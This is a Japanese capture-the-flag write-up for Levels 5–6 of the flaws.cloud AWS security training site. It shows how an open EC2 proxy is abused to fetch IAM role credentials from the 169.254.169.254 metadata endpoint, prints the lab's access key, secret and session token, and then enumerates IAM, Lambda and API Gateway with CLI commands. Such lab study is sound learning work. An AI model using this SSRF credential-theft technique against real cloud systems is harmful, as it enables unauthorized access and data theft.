flaws.cloudのwriteup (Level5~Level6)
AWSセキュリティ学習サイトflaws.cloudのwriteup 前編、
AWSセキュリティ学習サイトflaws.cloudのwriteup 中編の続きを記載する。
Level 5
http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/を開くとLevel4の解説があり、
下の方に「4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudが動作しているインスタンスはプロキシ機能を持ち、これらはそのプロキシを通って他サイトへアクセスしているURLのサンプルだ。またLevel6のバケットを向いているサブドメインlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloudには隠されたディレクトリが存在する。」とある。
とりあえずこれにアクセスしてみるとAccess Deniedという文字が書かれたページが返され、「Level6はサブディレクトリ上にあるが、その仕組みを理解するためにはLevel5をきちんといじる必要がある。」という表記がある。
次にLevel4で利用したマウントポイント/mnt/flaws/etc/nginx内でhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxyというURLをプロキシとして動作させている設定を確認してみる。
ls /mnt/flaws/etc/nginx
するとsites-enabled、sites-availableというディレクトリが見つかり、nginx.conf内を覗くと定番のパターンでNginxのバーチャルホスト設定がされていることが分かる。sites-enbaled/defaultが指すシンボリックリンク元のsites-available/defaultの中身を見るとhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/〇〇でアクセスした場合はこのインスタンスがプロキシサーバーとして動作するように設定されていることが確認できる。
いろいろ探ってみたところ、先に進めそうになかったのでヒントを確認してみると“169.254.169.254”、“RFC”、さらにインスタンスメタデータとユーザーデータに関するドキュメントへのリンク等の文字が見つかる。
まず169.254.○.○というIPアドレスやRFCというヒントから“リンクローカルアドレスを意識せよ”という作者の意図が取れる。そして上のリンクから169.254.169.254というアドレスはECインスタンスのメタデータを取得できるリンクローカルアドレスということ分かり、次のコマンドでインスタンス自身のIPやホスト名などのメタ情報を取得できる。
# curl http://169.254.169.254/latest/meta-data/
このことから、/mnt/flaws/home/ubuntu以下にmeta-dataというテキストファイルが存在しているのは、これらのことを示すためのヒントだったということが分かる。そしてこれは/mnt/flaws/home/ubuntu/.bash_historyを見るとcurlやwgetコマンドを用いてEC2独自のリンクローカルアドレス169.254.169.254へ何度もアクセスしている履歴により確認できる。さらに重要なのが、その履歴中にiam/security-credentials/flaws情報を取得しようとしていることから、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudが向いているECインスタンスにはIAMロールflawsが割り当てられていることが判明する。これは先ほどのヒントにあったインスタンスメタデータとユーザーデータに関するAWSのドキュメントへのリンクにしっかりと書かれている。
以上のことからEC2インスタンスで動作しているプロキシ機能を悪用することで、アクセスキーやシークレットキーなどの、IAMロールflawsに関連付けられた認証情報を不正に取得することができる。
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
このハッキングが成功してしまうのは認証情報をHTTPプロキシを通して公開してしまっていることに起因する。そしてこれはこちらのAmazonEC2のIAMロールに関するドキュメントに警告として書かれている。
最後に上のコマンドで得られたアクセスキー、シークレットキー、トークンを~/.aws/credentialsに追加して
# cat >> ~/.aws/credentials << "EOT"
> [flaws_level5]
> aws_access_key_id = ASIA6GG7PSQGYTNGVMCH
> aws_secret_access_key = MMaTdx8ecMULcOkDJJ2rZBz/vn/42bA3qODH9Z2u
> aws_session_token = FQoGZXIvYXdzELX//////////wEaDPWmVgiIdwnAsiK/2yK3A7ZIyn0Y6sJSo//exBitnosQp40xvYIv7sf/KR3FinmWTn7FK4dqQlibm57KZaWZeviEjQITONW0YAYa+366WI046S28PdKmbbqr/30j3UXvOXMZCYD4KZqJbCxHKfjQGvwLG1a0pWSOC2kGQZFPprwWU14Ch1YaKjZbe22AJ0HZqsbwA3C2YD2aR0iyPdgwJYcFj7ESVxYVSqm/0TmmAR/QicJXldZaRKP44vOcT+3iqxKiwhuenw1Wi86UAZhZk96zGN+vEb+ZBxNeBtm4WkJYE+uv92KRxpUAenhQO1T+YFOWHNwoOdhB9kkw3xqHuvqDVZWZI1/eLPCH4/ws/N6LhOx1/TRKY14uQXQOWrKKwrHerYpHiXA3aVwhI9JCE9M811n+sQ7FraqC7MqcupFeD0EZ23nlGd+IRKoqjDZh0l7TfiyMOq+L9iQ1iPCJCI3F1ONEII6N9dIOn0c09f7zyJ/5SX+ljarKuBz5pCy6KtjzHSLTf6hut/cZsukrsK/00C3D/UJW1bDm+W7p3pboyjlBSGfNWtvVXKH1u4HQXQv40xL2DwooLZTXLDIe1euHZVKQvCUoqr6S4AU=
> EOT
level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloudが向いているS3バケットにアクセスしてみる。
# aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flaws_level5 --region us-west-2
するとddcc78ffというディレクトリの存在を確認できるため、ブラウザを通してアクセスしLevel6へ進む。
# firefox level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff
今回のレベルのポイントはリンクローカルアドレス169.254.169.254がサーバー自身のメタデータを取得できるというところである。Level6ページの解説欄にもあるがこの手法はAWS、Azure、Google、DigitalOceanなどの主要なクラウドサービスで使用されているため、利用する際は注意を払う必要がある。
Level 6
level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ffを開くとLevel5の解説があり、下の方に「下のキーを使用するとSecurityAuditポリシーがアタッチされたユーザーが見つかる。さらに何か他の情報も得られるはずだ。」とある。まずはキーの設定をする。
# aws configure --profile flaws_level6
・・・Level2と同じようにアクセスキーとシークレットキーを登録
次にアカウント情報を取得する。
# aws sts get-caller-identity --profile flaws_level6
するとLevel6というユーザーが見つかる。そしてヒントに「他になにかできることあるよ。」というほのめかしがあることから、このユーザーにアタッチされたポリシーのリストを取得してみる。
# aws iam list-attached-user-policies --profile flaws_level6 --user-name Level6 --region us-west-2
出力結果を見ると、SecurityAuditというポリシーとlist_apigatewaysというポリシーが確認できる。SecurityAuditポリシーの詳細は職務機能のAWS管理ポリシーに関するドキュメントへのリンクに記載されている。
一方、list_apigatewaysポリシーはパスカルケースではなくスネークケースであること、そしてAWSの[IAM]管理画面の[ポリシー]の項目をみるとlist_apigatewaysというポリシーは存在しないことから、このポリシーは自作であることが分かる。また上のコマンドでこのポリシーのARNが分かるのでこれを利用して更なる情報を得てみる。
# aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile flaws_level6 --region us-west-2
するとDefaultVersionIdキーの値から管理ポリシーのバージョンIDが分かるので、このバージョンIDとARNを使用してlist_apigatewaysポリシーの、より詳細な情報を取得する。
# aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 --profile flaws_level6 --region us-west-2
このlist_apigatewaysポリシーをアタッチしているユーザーLevel6は**arn:aws:apigateway:us-west-2::/restapis/***リソースに対してHTTPメソッドGETが叩けるということが判明する。
また、言うまでも無いがポリシー名からAmazonApiGatewayサービスがこのAWSアカウント上では使用されているかもしれないこと、そしてAPIGatewayを使用する場合はLambdaを連携させるパターンが多いということ、さらにSecurityAuditポリシーがアタッチされたユーザーには全てのリソースに対してLambdaにおけるListFunctions、GetAccountSettings、GetPolicyの権限が与えられるようになっているということ(2018/12/03時点)から、ひとまずLambda関数の存在を疑ってみる。
# aws lambda list-functions --profile flaws_level6 --region us-west-2
すると１つ関数が存在することが判明するので、次に関数名level6を使用してポリシー情報を取得する。
# aws lambda get-policy --function-name Level6 --profile flaws_level6 --region us-west-2
これにより得られるポリシー情報からarn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6というARNが分かり、AmazonAPIGatewayでAPIを呼び出すに関するドキュメントへのリンクを確認するとリクエストを送るためのエンドポイントにはステージ名が必要であることが分かるので、--rest-api-idを用いてステージ名を取得する。
# aws apigateway get-stages --rest-api-id "s33ppypa75" --profile flaws_level6 --region us-west-2
すると、ステージ名Prodが見つかるので、上で得たIDと関数名を利用してエンドポイントにリクエストを送ってみる。
# curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
結果、「http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/というURLにアクセスせよ。」とあるのでブラウザを通して確認する。
# firefox theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/
最後のページの解説にもあるが、ポリシーを通してのサービスに対する権限が読み込みやリスト表示に限られていたとしても、そのユーザーに相応しくない割り当てを行うと、思わぬ情報を与えてしまうをことになるので注意を払う必要がある。
The End
ブラウザでhttp://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/を開くと「flawsチャレンジ達成おめでとう！ scott@summitroute.com宛にフィードバックを送ってくれると嬉しいな。 ツイートして学べたことを友達と共有してくれ。」とある。
感想
３つの記事に渡ってAWSのセキュリティの学習サイトのwriteupを書いてきました。
まず当サイトを公開してくださっている@0xdabbad00氏に感謝したいと思います。実際に問題を解いていく過程はとても楽しいものでした(最後あたりはヒントに頼りっぱなしでしたが。。。)。そして、このwriteup記事が今後AWSセキュリティの学習をしたいと考えている皆様のお役に立てたら嬉しいです。
参考記事
https://dev.classmethod.jp/cloud/aws/s3-acl-wakewakame/
https://github.com/mzet-/ctf-writeups/blob/master/flaws.cloud/flaws.cloud.md
https://darranboyd.wordpress.com/2018/02/08/flaws-aws-ctf-level-6/
https://oioki.me/2018/02/solving-flaws/
https://qiita.com/isobecky74/items/92d35fa1d3063fe64dc4
https://dev.classmethod.jp/etc/web-api_rest-api_url-design/